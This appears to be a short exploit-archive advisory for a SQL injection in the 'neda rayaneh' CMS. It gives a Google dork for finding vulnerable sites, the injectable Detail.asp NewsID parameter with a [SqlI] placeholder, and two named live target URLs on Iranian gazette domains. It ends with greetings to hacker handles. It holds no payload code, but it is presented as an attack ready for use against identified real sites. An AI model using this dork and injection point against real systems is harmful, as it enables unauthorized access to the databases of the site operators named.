############################################################################ # Exploit Title: neda rayaneh Cms Sql Injection # Google Dork: "designed and developed by neda rayaneh institute" # Discovered By: M4sT3r4N0nY # Software Link: http://www.neda.net.ir/ # Version: All Version # Category:: webapps # Security Risk:: High # Tested on: GNU/Linux Ubuntu - Windows Server - win7 ############################################################################ # # # Exploit: # # # http://[target]/Detail.asp?CurPage=&NewsID=[SqlI] # # Target: # # http://www.rooznamehrasmi.ir/Detail.asp?CurPage=&NewsID=914826707001892 # # http://www.gazette.ir/Detail.asp?CurPage=&NewsID=914826707001892 # ############################################################################ # Special Thanks : Am!r(IrIsT.Ir) & Drosera^cqq47 & Mast3rj0int & NOTER ############################################################################